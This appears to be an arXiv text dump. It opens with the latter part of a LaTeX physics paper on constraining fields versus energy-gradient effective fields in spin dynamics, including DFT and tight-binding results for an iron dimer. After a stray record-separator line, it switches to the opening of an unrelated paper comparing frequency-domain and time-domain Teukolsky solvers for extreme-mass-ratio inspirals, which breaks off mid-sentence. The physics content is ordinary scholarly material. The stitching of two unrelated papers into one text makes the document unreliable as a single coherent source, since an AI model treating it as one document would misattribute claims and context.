& =\gamma\left\langle \hat{\mathbf{S}}_{i}\right\rangle \times\mathbf{B}_{i}^{\text{eff}},\label{eq:constrained eom2}
\end{align}
where $\mathbf{B}_{i}^{\text{eff}}$ is the effective field that drives the dynamics of ${\hat{\mathbf{S}}}_{i}$. Only the component of $\mathbf{B}_{i}^{\text{eff}}$ perpendicular to ${\mathbf{S}}_{i}$ contributes to the equation of motion and we define the parallel component of $\mathbf{B}_{i}^{\text{eff}}$ to be zero. By combining Eqs.~(\ref{eq:constrained eom}) and (\ref{eq:constrained eom2}), one obtains
\begin{align}
\left\langle \dot{\hat{\mathbf{S}}}_{i}\right\rangle & =-\frac{i}{\text{\ensuremath{\hbar}}}\left\langle \left[\hat{\mathcal{H}}_{\text{con}},\hat{\mathbf{S}}_{i}\right]\right\rangle \nonumber \\
& =\gamma\left\langle \hat{\mathbf{S}}_{i}\right\rangle \times\left(-\mathbf{B}_{i}^{\text{con}}\right),\label{eq:torque}
\end{align}
which implies that the effective field
\begin{equation}
\mathbf{B}_{i}^{\text{eff}}=-\mathbf{B}_{i}^{\text{con}}. \label{eq:effective field}
\end{equation}
The constraining field cancels the effective field, as illustrated in Fig.~\ref{fig:fig1}.
This shows that the correct torque for a given Hamiltonian $\hat{\mathcal{H}}_{0}$
can be obtained from the constraining field.
\begin{figure}
\begin{centering}
\includegraphics[scale=2.5]{fig1.pdf}
\par\end{centering}
\caption{Effective field $\mathbf{B}_{i}^{\text{eff}}$ and constraining field $\mathbf{B}_{i}^{\text{con}}$ acting on a magnetic moment at site $i$ in a background of ferromagnetically aligned moments. \label{fig:fig1}}
\end{figure}
For a classical spin system with localized rigid spins (e.g., the Heisenberg model discussed in Appendix\,\ref{sec:Spin Hamiltonians}) it can be shown that
the effective field is exactly \cite{Landau35,Keshtgar2017}
\begin{equation}
\mathbf{B}_{i}^{\text{cl}}=-\boldsymbol{\nabla}_{\mathbf{M}_{i}}\mathcal{\mathcal{H}}_{0},\label{eq:classical effective field}
\end{equation}
which would offer an alternative approach of calculating the effective field of atomistic spin-dynamics, $\mathbf{B}_{i}^{\text{eff}}$, compared to Eq.~(\ref{eq:effective field}).
However, it is not obvious that this should also hold for an itinerant magnet
where the Hamiltonian is not a simple function of
spin operators, but of the creation and annihilation operators of the itinerant electrons. Below we evaluate the effective field from the two approaches (\ref{eq:effective field}) and (\ref{eq:classical effective field}).
\section{Constraining field}
In the previous section we introduced the constraining field $\mathbf{B}_{i}^{\text{con}}$,
but we have so far not given a procedure how to calculate this field.
We know that the constraining field at site $i$ has to be tuned so that it cancels the intrinsic field of the Hamiltonian $\hat{\mathcal{H}}_{0}$ and is perpendicular to the magnetic moment direction $\mathbf{m}_{i}$.
Furthermore, the constraining field has to be chosen such that at each site the moment points along
the prescribed moment direction $\mathbf{e}_{i}$,
\begin{equation}
\mathbf{m}_{i}\overset{!}{=}\mathbf{e}_{i}.
\end{equation}
We are going to consider here two methods of calculating the constraining
field: the method proposed by Stocks \textit{et al.} \cite{Stocks1998,Ujfalussy1999}
and the method by Ma and Dudarev \cite{Ma2015}.
Stocks \textit{et al.} provide the following iterative procedure for calculating
the constraining field \cite{Stocks1998,Ujfalussy1999},
\begin{align}
\mathbf{B}_{i}^{\text{con}}(k+1) & =\mathbf{B}_{i}^{\text{con}}(k)-\left(\mathbf{B}_{i}^{\text{con}}(k)\cdot\mathbf{e}_{i}\right)\mathbf{e}_{i}\nonumber \\
& -B_{0}\left[\mathbf{m}_{i}-\left(\mathbf{m}_{i}\cdot\mathbf{e}_{i}\right)\mathbf{e}_{i}\right],\label{eq:Stocks}
\end{align}
where $k$ is the iteration index and $B_{0}$ is a free parameter that
can be tuned for optimal convergence. The first two terms of Eq.~(\ref{eq:Stocks})
ensure that only the contribution perpendicular to $\mathbf{e}_{i}$
is carried to the next iteration, while the third term adjusts the
constraining field by a term proportional to the difference between
the output and prescribed moment direction (again only keeping the
perpendicular contribution), which aligns the magnetic moment $\mathbf{m}_{i}$
closer along the prescribed direction $\mathbf{e}_{i}$. The algorithm given by Eq.~(\ref{eq:Stocks}) can be derived systematically from the method
of Lagrange multipliers \cite{Ivanov2020}. The uniqueness of the constraining field follows from the uniqueness of the solutions within
constrained DFT \cite{Wu2005}.
Ma and Dudarev derive the constraining field by imposing an energy
penalty for misalignments of $\mathbf{m}_{i}$ and $\mathbf{e}_{i}$,
which leads to the constraining field \cite{Ma2015}
\begin{equation}
\mathbf{B}_{i}^{\text{con}}=-2\lambda\left[\mathbf{m}_{i}-\left(\mathbf{m}_{i}\cdot\mathbf{e}_{i}\right)\mathbf{e}_{i}\right],\label{eq:Ma}
\end{equation}
where $\lambda$ determines the strength of the energy penalty and
convergence is formally reached for $\lambda\to\infty$ with $\mathbf{m}_{i}\approx\mathbf{e}_{i}+\mathcal{O}(\lambda^{-1})$
\cite{Ma2015}.
Both methods look similar, but have different advantages and disadvantages.
The first method (\ref{eq:Stocks}) has the advantage of good convergence
since the constraining field is adjusted step by step, but requires
this additional iterative calculation, which can be done in parallel to a self-consistent calculation. The second method (\ref{eq:Ma})
has the advantage that it does not introduce an additional iterative
calculation and can be simply included in a self-consistent calculation,
but it has the disadvantage that convergence is problematic
if $\lambda$ is too large. This convergence problem can be circumvented by increasing the value of $\lambda$ in steps, which keeps the energy penalty sufficiently small.
Within the formalism of constrained DFT, the constraining field can be directly included as a Lagrange multiplier
in the energy minimization procedure to determine the constrained ground state \cite{Dederichs1984,Kurz2004,Singer2005,Cuadrado2018,Ivanov2020}.
\section{Numerical results for a dimer}
\begin{figure}
\begin{centering}
\includegraphics[width=1.0\columnwidth]{fig2.pdf}
\par\end{centering}
\caption{Comparison of the effective magnetic field calculated from the constraining
field $B^{\mathrm{con}}_{2,\theta}$ (red symbols) and the energy gradient $B_{2,\theta}^{\mathrm{grad}}$ (blue symbols) for an iron dimer, where the
moment $i=2$ is rotated by $\theta$. The inset shows the difference, $\Delta=-B^{\mathrm{grad}}_{2,\theta}-B^{\mathrm{con}}_{2,\theta}$, between the two effective fields. \label{fig:VASP}}
\end{figure}
To investigate the relation between the constraining field and the
effective field obtained from the energy gradient, we performed DFT
calculations for an Fe dimer system with VASP \cite{Kresse1996,Kresse1996b}.
The constraining field implementation in VASP is based on the method
by Ma and Dudarev \cite{Ma2015}, as described above. See Appendix \ref{sec:Numerical_Details} for more details.
We start with both magnetic moments of the two iron atoms aligned
along the $z$ axis and rotate one of the magnetic moments by an angle
$\theta$ in the $xz$ plane, which gives an expression for the moment of the second atom,
\begin{align}
m_{2}^{x} & =\sin\theta,\;m_{2}^{y}=0,\;m_{2}^{z}=\cos\theta.
\end{align}
The effective field calculated from the energy gradient is given by
\begin{equation}
\mathbf{B}_{i}^{\text{grad}}=-\frac{1}{M_{i}}\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{0}\right\rangle.
\label{gradfield}
\end{equation}
Since $\mathbf{e}_i$ is a unit vector with a fixed length, the gradient has to be defined as
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}f=\frac{\partial f}{\partial \theta_i} \hat{\boldsymbol{\theta}}_i + \frac{1}{\sin\theta_i} \frac{\partial f}{\partial \phi_i}\hat{\boldsymbol{\phi}}_i,\label{eq:gradient}
\end{equation}
where $\theta_i$ and $\phi_i$ are the polar and azimuthal angles in spherical coordinates with their corresponding unit vectors $\hat{\boldsymbol{\theta}}_i$ and $\hat{\boldsymbol{\phi}}_i$.
The $\theta$ component of Eq.~(\ref{gradfield}) is therefore
\begin{equation}
{B}_{i,\theta}^{\text{grad}}=-\frac{1}{M_i} \frac{\partial}{\partial \theta_i}\left\langle \hat{\mathcal{H}}_{0}\right\rangle.
\end{equation}
In Fig.~\ref{fig:VASP}, we show the $\theta$ component of the constraining field acting on the rotated spin and we compare this field to what one obtains from the energy gradient. The two calculations, Eqs.~(\ref{eq:effective field}) and (\ref{gradfield}), are plotted in Fig.~\ref{fig:VASP} as a function of $\theta$. From the figure one concludes that the two
fields are similar, but not exactly identical. It is also possible to discern that the difference between them becomes bigger the further away one is from the equilibrium configuration.
For comparison, we performed analogous calculations with a mean-field tight-binding model (see Appendix~\ref{sec:Tight-binding} for details), which, as can be seen in Fig.~\ref{fig:TB fields}, show similar results. There we also show the field $\tilde{\mathbf{B}}_{i}^{\text{grad}}$ which is calculated without constraining fields, with the constraints only implemented approximately by imposing local quantization axes \cite{Grotheer2001} (see Appendix \ref{sec:Tight-binding}). This approximate method underestimates in our case the gradient field by about 25\%, even in the limit $\theta \to 0$. This implies an underestimate by 25\% of the exchange parameter $J$ of the dimer in the absence of constraining fields, see Appendix \ref{sec:Spin Hamiltonians}. The widely used Liechtenstein-Katsnelson-Antropov-Gubanov (LKAG) formalism \cite{Liechtenstein1984,Liechtenstein1987} for the calculation of exchange parameters does not take constraining fields into account \cite{Bruno2003}, which could potentially result in similar inaccuracies \cite{Jacobsson2017}.
In the following, we analyze
the origin of the difference between the constraining and energy gradient fields and we argue why it matters
to be aware of this difference.
\begin{figure}
\begin{centering}
\includegraphics[scale=1]{fig3.pdf}
\par\end{centering}
\caption{Comparison of the effective magnetic field calculated from the constraining
field and the energy gradient for our mean-field tight-binding model applied to an iron dimer where the moment $i=2$ is rotated by $\theta$. The field $\tilde{B}_{2,\theta}^{\text{grad}}$ is calculated without constraining fields (see Appendix \ref{sec:Tight-binding}).\label{fig:TB fields}}
\end{figure}
\section{Constraining field theorem}
In this section, we derive the constraining field theorem, the main result of this paper, which relates the constraining field and the energy gradient field. We discuss under which circumstances these fields are equivalent and the implications this has for the correct choice of the effective field in spin-dynamics simulations.
\subsection{Derivation of the theorem}
To relate the energy gradient field
$\mathbf{B}_{i}^{\text{grad}}$
to the constraining field $\mathbf{B}_{i}^{\text{con}}$, we wish to evaluate $\boldsymbol{\nabla}_{\mathbf{e}_{i}}\langle \hat{\mathcal{H}}_{0}+\hat{\mathcal{H}}_{\text{con}}\rangle$. Here, and in the following, an expression
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{O}} \right\rangle = \left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{O}}\right\rangle + \boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{O}} \right\rangle
\end{equation}
is used, where the first term on the right-hand side accounts for the gradient of the operator $\hat{\mathcal{O}}$ and the second accounts for the gradient (or rotation) of the wavefunction $\psi$ used to calculate the expectation value. We obtain the Hellmann-Feynman theorem \cite{Hellmann1937,Feynman1939},
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{0}+\hat{\mathcal{H}}_{\text{con}}\right\rangle =\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{0}+\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\text{con}}\right\rangle ,\label{eq:Hellmann-Feynman}
\end{equation}
where the term that accounts for the wavefunction variation vanishes due to the extremity of the ground-state energy,
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{H}}_{\text{0}}+\hat{\mathcal{H}}_{\text{con}}\right\rangle = 0. \label{eq:variational principle}
\end{equation}
The derivative of the constraining part can be expressed as
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{\text{con}}\right\rangle =\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\text{con}}\right\rangle +\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{H}}_{\text{con}}\right\rangle.
\end{equation}
Here one should note that the eigenstate that minimizes the expression in Eq.~(\ref{eq:variational principle}), does not necessarily imply that a variation over the wavefunction vanishes when one considers only $\hat{\mathcal{H}}_{\text{con}}$, i.e., $\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\langle \hat{\mathcal{H}}_{\text{con}}\rangle$ is non-zero.
Similarly, both terms need to be considered when treating only $\hat{\mathcal{H}}_{0}$ in the variation,
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{0}\right\rangle =\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{H}}_{0}\right\rangle +\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{0}\right\rangle.
\end{equation}
Using the relationship in Eq.~(\ref{eq:variational principle}) leads to
\begin{equation}
\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{0}\right\rangle =-\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{H}}_{\text{con}}\right\rangle +\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{0}\right\rangle.
\label{con1}
\end{equation}
Since the moment directions for $j\neq i$ are held constant and $\mathbf{M}_{i}\cdot\mathbf{B}_{i}^{\text{con}}=0$,
we find
\begin{equation}
-\frac{1}{M_{i}}\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}\left\langle \hat{\mathcal{H}}_{\text{con}}\right\rangle =\sum_{\alpha=x,y,z}B_{i,\alpha}^{\text{con}}\boldsymbol{\nabla}_{\mathbf{e}_{i}}^{\psi}m_{i}^{\alpha}=\mathbf{B}_{i}^{\text{con}}.\label{con2}
\end{equation}
From Eqs.~(\ref{gradfield}), (\ref{con1}), and (\ref{con2}), we arrive at our main result, the constraining field theorem:
\begin{equation}
\mathbf{B}_{i}^{\text{grad}}=-\mathbf{B}_{i}^{\text{con}}-\frac{1}{M_{i}}\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{0}\right\rangle .\label{eq:constraining field theorem}
\end{equation}
For a Hamiltonian without any mean-field parameters there is no dependence on the moment directions, $\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{0}=0$,
which directly implies
\begin{equation}
\mathbf{B}_{i}^{\text{eff}}=-\mathbf{B}_{i}^{\text{con}}=\mathbf{B}_{i}^{\text{grad}}.
\end{equation}
This is analogous to the case of an effective spin Hamiltonian, given by
Eq.~(\ref{eq:classical effective field}), where the effective field is also given
by the energy gradient.
\begin{figure}
\begin{centering}
\includegraphics[scale=1]{fig4.pdf}
\par\end{centering}
\caption{Numerical check of the constraining field theorem, Eq.~(\ref{eq:constraining field theorem}), for a mean-field tight-binding model applied to an iron dimer where the moment $i=2$ is rotated by $\theta$. \label{fig:numerical check}}
\end{figure}
\subsection{Mean-field Hamiltonians}
In a mean-field treatment, the Hamiltonian $\hat{\mathcal{H}}_{\text{0}}$ is symbolized with $\hat{\mathcal{H}}_{\text{mf}}$, where the parameters of the Hamiltonian in general depend on the directions $\{\mathbf{e}_{i}\}$. In this case, the
term $\langle\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\text{mf}}\rangle$
can be finite, and it follows from Eq.~(\ref{eq:constraining field theorem})
that the relation $\mathbf{B}_{i}^{\text{grad}}=-\mathbf{B}_{i}^{\text{con}}$
is not exact. Figure~\ref{fig:numerical check} shows that this term gives precisely the difference between constraining and energy gradient fields for a mean-field tight-binding calculation (see Appendix \ref{sec:Tight-binding} for details), supporting the constraining field theorem (\ref{eq:constraining field theorem}).
The difference between the two fields is determined by how strongly the mean-field parameters depend on the moment directions $\{\mathbf{e}_{i}\}$ and by how strong the correlation effects are that are represented by the mean-field contribution to $\hat{\mathcal{H}}_{\text{mf}}$. If $\hat{\mathcal{H}}_{\text{mf}}$ includes the operator-independent energy contributions arising from the mean-field decoupling, this leads to a cancellation such that $\langle\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\text{mf}}\rangle=0$ and $\mathbf{B}_{i}^{\text{grad}}=-\mathbf{B}_{i}^{\text{con}}$, as we demonstrate in Appendix\,\ref{sec:Mf decoupling}. Such operator-independent energy contributions are not included in the tight-binding calculations shown in Figs.~\ref{fig:TB fields} and \ref{fig:numerical check}.
\subsection{Density functional theory}
For the DFT calculations, we have to consider the auxiliary Kohn-Sham (KS) Hamiltonian \cite{Kohn1965} (here without spin-orbit interaction),
\begin{equation}
\hat{\mathcal{H}}_{\mathrm{KS}}=\sum_l\left[\frac{\hat{\mathbf{p}}_l^2}{2m_e}+V_{\mathrm{eff}}(\hat{\mathbf{r}}_l,\hat{\mathbf{S}}_l)\right],
\end{equation}
where $l$ is the index of the KS quasiparticle with position and momentum operators $\hat{\mathbf{r}}_l$ and $\hat{\mathbf{p}}_l$ and spin operator $\hat{\mathbf{S}}_l$. The effective potential $V_{\mathrm{eff}}$
is not only dependent on the position and spin of the quasiparticle, but also
depends on the average electron and magnetization densities, $n(\mathbf{r})$ and $\mathbf{M}(\mathbf{r})$, and we write
\begin{align}
V_{\mathrm{eff}}(\hat{\mathbf{r}}_l,\hat{\mathbf{S}}_l)=&V_{\mathrm{ext}}(\hat{\mathbf{r}}_l)+\int \frac{n(\mathbf{r}')e^2}{4\pi\varepsilon_0|\hat{\mathbf{r}}_l-\mathbf{r}'|}
\,\mathrm{d}^3 r' + \mu_{\mathrm{xc}}(\hat{\mathbf{r}}_l)\nonumber\\
& -\gamma\hat{\mathbf{S}}_l\cdot \left[ \mathbf{B}_{\mathrm{ext}}(\hat{\mathbf{r}}_l)+\mathbf{B}_{\mathrm{xc}}(\hat{\mathbf{r}}_l)\right],
\end{align}
where $V_{\mathrm{ext}}$ is the Coulomb potential from the ions in the lattice and $\mathbf{B}_\mathrm{ext}$ is an external magnetic field. The scalar and magnetic exchange-correlation potentials are given by
\begin{align}
\mu_{\mathrm{xc}}(\mathbf{r})=&\frac{\delta E_{\mathrm{xc}}[n,\mathbf{M}]}{\delta n(\mathbf{r})},\\
\mathbf{B}_{\mathrm{xc}}(\mathbf{r})=&-\frac{\delta E_{\mathrm{xc}}[n,\mathbf{M}]}{\delta \mathbf{M}(\mathbf{r})},
\end{align}
where $E_{\mathrm{xc}}$ is the exchange-correlation energy, which is a functional of the electron and magnetization densities. Since these densities depend on the magnetic moment directions $\{\mathbf{e}_{i}\}$, we have $\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\neq0$ and therefore $\mathbf{B}_{i}^{\text{con}}\neq-\mathbf{B}_{i,\mathrm{KS}}^{\text{grad}}$, according to Eq.~(\ref{eq:constraining field theorem}) applied to $\hat{\mathcal{H}}_\mathrm{KS}$.
It is important to note here that the constraining field theorem (\ref{eq:constraining field theorem}) is applied to the KS Hamiltonian and the energy gradient field $\mathbf{B}_{i,\mathrm{KS}}^{\text{grad}}$ is therefore given by the gradient of the KS energy $\langle \hat{\mathcal{H}}_\mathrm{KS}\rangle$ and not of the total DFT energy $E_\mathrm{DFT}$, which contains an additional double counting term $E_\mathrm{dc}$ \cite{Kohn1965,Liechtenstein1987},
\begin{equation}
{E}_{\mathrm{DFT}}=\left\langle \hat{\mathcal{H}}_{\mathrm{KS}}\right\rangle + E_\mathrm{dc}.
\end{equation}
This implies for the energy gradient of the total DFT energy with Eq.~(\ref{eq:constraining field theorem}) applied to the KS Hamiltonian,
\begin{align}
\mathbf{B}_{i,\mathrm{DFT}}^{\text{grad}}&=-\mathbf{B}_{i}^{\text{con}}-\frac{1}{M_{i}}\left\langle \boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\right\rangle -\frac{1}{M_i}\boldsymbol{\nabla}_{\mathbf{e}_{i}}E_\mathrm{dc}\nonumber \\
&=-\mathbf{B}_{i}^{\text{con}}-\frac{1}{M_{i}}\left\langle \boldsymbol{\nabla}^*_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\right\rangle,\label{DFT theorem}
\end{align}
where the last two terms of the first line cancel only partially \footnote{The result $\langle\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\rangle+\boldsymbol{\nabla}_{\mathbf{e}_{i}}E_\mathrm{dc}=\langle\boldsymbol{\nabla}^*_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\rangle$ follows from the derivation in Appendix A of Ref.~\cite{Liechtenstein1987}.} and $\boldsymbol{\nabla}^*_{\mathbf{e}_{i}}$ denotes the variation at fixed $n(\mathbf{r})$ and $M(\mathbf{r})=|\mathbf{M}(\mathbf{r})|$. Equation (\ref{DFT theorem}) is the DFT adaptation of the constraining field theorem (\ref{eq:constraining field theorem}) and explains why the DFT calculations in Fig.~\ref{fig:VASP} show a difference between the constraining and energy gradient fields.
This difference depends on the non-collinearity of the magnetization density and vanishes near the collinear limit (see Fig.\,\ref{fig:VASP}). We can confirm this by considering that in this case the exchange-correlation field is approximately collinear within the volume $\Omega_i$ that is associated with the atomic site $i$,
\begin{equation}
\mathbf{B}_\mathrm{xc}(\mathbf{r})\sim \mathbf{e}_i, \quad\forall \mathbf{r}\, \in \Omega_i.
\end{equation}
We find
\begin{align}
\left\langle \boldsymbol{\nabla}^*_{\mathbf{e}_{i}}\hat{\mathcal{H}}_{\mathrm{KS}}\right\rangle&=-\int \left[\boldsymbol{\nabla}^*_{\mathbf{e}_{i}}\mathbf{B}_\mathrm{xc}(\mathbf{r})\right]\cdot \mathbf{M}(\mathbf{r}) \,\mathrm{d}^3 r \nonumber\\
&\sim \int_{\Omega_i} \mathbf{M}(\mathbf{r})\,\mathrm{d}^3 r=\mathbf{M}_i,
\end{align}
which does not contribute to the effective field since only components perpendicular to $\mathbf{M}_i$ contribute. For bulk systemsm we therefore expect that the difference between constraining and energy gradient fields will be more pronounced for short-wavelength spin waves due to their stronger non-collinearity.
\section{Choice of the effective field}
For a Hamiltonian $\hat{\mathcal{H}}_{0}$ with $\langle\boldsymbol{\nabla}_{\mathbf{e}_{i}}\hat{\mathcal{H}}_0\rangle=0$ it does not matter
if the effective field is calculated from the energy gradient or the
constraining field. But what is the right choice for the effective
field if that is not the case, and in particular, what choice should one make in calculations based on DFT?
Let us first assume that the DFT energy $E_{\text{DFT}}$
exactly reproduces the energies of the Hamiltonian $\hat{\mathcal{H}}_{0}$,
i.e,. for each configuration $\{\mathbf{e}_{i}\}$,
\begin{equation}
E_{\text{DFT}} =\left\langle \hat{\mathcal{H}}_{0}\right\rangle .\label{eq:energy equality}
\end{equation}
The correct effective field is then given by the DFT energy gradient,
\begin{equation}
\mathbf{B}_{i}^{\text{eff}}=-\frac{1}{M_{i}}\boldsymbol{\nabla}_{\mathbf{e}_{i}}\left\langle \hat{\mathcal{H}}_{0}\right\rangle =-\frac{1}{M_{i}}\boldsymbol{\nabla}_{\mathbf{e}_{i}}{E}_{\text{DFT}}=\mathbf{B}_{i,\mathrm{DFT}}^{\text{grad}},
\end{equation}
which is not exactly the same as the negative of the constraining field obtained from the KS Hamiltonian, as shown by Eq.~(\ref{DFT theorem}) and Fig.~\ref{fig:VASP}. This implies that the constraining field of the KS Hamiltonian $\hat{\mathcal{H}}_\mathrm{KS}$ is not the same as the one of the original Hamiltonian $\hat{\mathcal{H}}_0$ and therefore $\hat{\mathcal{H}}_\mathrm{KS}$ does not exactly reproduce the equation of motion,
\begin{equation}
\left\langle \left[\hat{\mathcal{H}}_{\mathrm{KS}},\hat{\mathbf{\mathbf{S}}}_{i}\right]\right\rangle\neq \left\langle \left[\hat{\mathcal{H}}_{0},\hat{\mathbf{\mathbf{S}}}_{i}\right]\right\rangle.
\end{equation}
This is not a failure of DFT since the DFT formalism is designed to provide the correct ground state energies and electron densities. The KS Hamiltonian cannot be used to correctly describe non-equilibrium physics.
When the constraining field is not equivalent to the energy gradient, it is not exact to construct an effective magnetic Hamiltonian based on the calculation of the constraining field alone. The exchange parameters
have to be calculated from the energy gradient \cite{Liechtenstein1984,Liechtenstein1987,Bruno2003}.
If we are not considering DFT calculations and we cannot make the assumption (\ref{eq:energy equality}), then the argument above does not apply. The effective field describing the magnetization dynamics of a given Hamiltonian $\hat{\mathcal{H}}_0$ is then the negative of the constraining field, as shown in Sec.~\ref{sec:equation of motion}.
\section{Summary}
We have shown that the effective magnetic field in the equation of
motion within the adiabatic approximation is exactly the negative of the constraining
field. For Hamiltonians that do not contain mean-field parameters
depending on the moment directions, the effective field derived from
the energy gradient is equivalent to the constraining field. We have argued that in the case of DFT the effective field should
be calculated from the energy gradient because DFT is designed to reproduce the
physically correct energies.
Our results have three important implications:
(1) In \textit{ab initio} spin dynamics, the constraining field alone may be insufficient for calculations of
the effective field, which should be obtained from the energy gradient.
(2) Therefore, exchange constants for an effective magnetic Hamiltonian also should
be calculated from energy gradients and not from the constraining
fields.
(3) Our tight-binding calculations support the notion that an approximate implementation of out-of-equilibrium, non-collinear states without constraining fields can give inaccurate results, even in the vicinity of the ferromagnetic ground state.
\begin{acknowledgments}
We thank Pavel Bessarab, Mikhail Katsnelson, Alexander Lichtenstein, and Attila Szilva for helpful discussions. A.B. acknowledges discussions with Pui-Wai Ma.
The authors acknowledge financial support from the Knut and Alice Wallenberg Foundation through Grant No. 2018.0060. O.E. also acknowledges support of eSSENCE, the Swedish Research Council (VR), the Foundation for Strategic Research (SSF) and the ERC (synergy grant). D.T. acknowledges support from the Swedish Research Council (VR) through Grant No. 2019-03666. A.D. acknowledges support from the Swedish Research Council (VR).
The computations were enabled by resources provided by the
Swedish National Infrastructure for Computing (SNIC) at Chalmers Center for Computational Science and Engineering (C3SE), High Performance Computing Center North (HPCN), and the National Supercomputer Center (NSC) partially funded by the Swedish Research Council through Grant Agreement No. 2016-07213.
\end{acknowledgments}
|
1,477,468,750,047 | arxiv | \section{Introduction and summary}
Compact stellar mass objects emit gravitational waves in the good sensitivity band of the planned Laser Interferometer Space Antenna (LISA) during their last year of inspiral into a supermassive black hole. The gravitational waveforms of EMRIs, extreme mass ratio insiprals, are therefore of interest, and when observed may shed light on the spacetime of the central black hole, including testing the Kerr hypothesis \cite{gair08}, in addition to being a sensitive tool to measure the central black hole's parameters. This possibility makes such sources of gravitational waves extremely interesting, despite the relatively low number of sources expected during the lifetime of the LISA mission. Specifically, tens to hundreds of such sources are expected to redshifts of $z\sim 0.5$--$1$ \cite{gair04}. In addition, the solution of the two body problem in general relativity remains challenging, and EMRIs orbits and waveforms correspond to its solution in the extreme mass ratio limit.
Construction of theoretical templates is important both for detection of EMRIs gravitational waves and for accurate parameter estimation. Numerical waveforms can be constructed using the frequency--domain (FD) or the time--domain (TD) approaches. The former approach has been developed to very high accuracy, and is considered robust and accurate. On the other hand, advances to the TD approach have been hindered first by the success of the FD approach \cite{glampedakis02,hughes00}, and by the crudity of the initial attempts to evolve numerically the fields coupled to a point-like source with the Teukolsky equation \cite{lopez_aleman,khanna04}. The breakthrough in the accuracy of TD solutions of the inhomogeneous Teukolsky equation, i.e., the 2+1D solution of the Teukolsky equation coupled to a point mass, was recently achieved in \cite{burko-_khanna_07,pranesh}. For the first time, it was shown that TD calculations can be as accurate as FD calculations. The TD method of \cite{burko-_khanna_07} was improved with the introduction of the ``discrete delta" model of the source \cite{pranesh} and an appropriate low pass filter that makes the discrete delta useful also for eccentric or inclined orbits \cite{pranesh2}. Specifically, correlation integrals of gravitational waveforms done for the same system in the FD and TD approaches show that the two agree to a high level \cite{pranesh2}. One may therefore argue that the two methods are comparable in the results they are capable of producing. We therefore contend that the viewpoint that the TD solution of the inhomogeneous Teukolsky equations is far from being competitive from the FD solution can no longer be supported. However, we believe that one should not seek competition of the two approaches, but rather how they complement each other, as either method has non-overlapping strengths. In order to achieve this goal one needs to compare the computational efficiency of the two approaches.
The question of the efficiency and the computation time with which the results are obtained remains an open question though.
The common wisdom is that the FD computation is more effective computationally than its TD counterpart:
FD approaches are particularly convenient when the system ---and the emitted gravitational waves--- exhibits a discrete set of frequencies. Indeed, as shown by Schmidt~\cite{schmidt} and by Drasco and Hughes~\cite{drasco-hughes}, all bound Kerr orbits have a simple, discrete spectrum of orbital frequencies. However, generic orbits and in particular high-eccentricity orbits, although in principle amenable to a Fourier decomposition and a FD construction of the waveforms, require the summation of many terms in the Fourier series. This problem limits the accuracy and increases the computation time in FD calculations. While this statement, or similar ones, appear in the literature \cite{glampedakis02}, it has not been quantified.
The motivation of this paper is to study the relative computational efficiency of FD and TD codes for the solution of the inhomogeneous Teukolsky equation. Specifically, we study the question of how much computational time is needed to find the fluxes of energy and angular momentum to infinity from an eccentric and equatorial orbit around a fast spinning Kerr black hole. We restrict the analysis here to equatorial orbits. Analysis of equatorial orbits is non-trivial, and teaches much of the method and properties also of non-equatorial orbits. Analysis of non equatorial orbits increases considerably the volume of the parameter space, and we leave its study to the future. We do, nevertheless, comment on the analysis of generic orbits.
The estimation of the total needed computation time for TD codes is relatively simple: after the desired accuracy level is set, one needs to estimate the number of azimuthal $m$ modes (associated with the $\phi$ orbital angular frequency) required for the total sum over $m$ modes to achieve the desired accuracy, and then compute each $m$ mode at the same accuracy level. The number of needed $m$ modes is not hard to estimate, because the partial fluxes approach a geometric progression in $m$ for large $m$ values, with the asymptotic factor between two successive partial fluxes depending on the eccentricity of the orbit. After the needed number of $m$ modes is determined, one can use the TD code of \cite{burko-_khanna_07} (possibly with the improvements included in \cite{pranesh,pranesh2}) to calculate the partial fluxes and sum over them. Using the asymptotic geometric progression structure one may also estimate the error associated with the summation over the partial fluxes, and verify that the desired accuracy level is indeed achieved. This is done in Section \ref{m_modes}. The TD calculation of the individual partial fluxes can be done more efficiently than a straightforward calculation of the fields to very late times and great distances, that are required for an accurate estimate of the fluxes at infinity. Specifically, one can make use of the peeling properties of 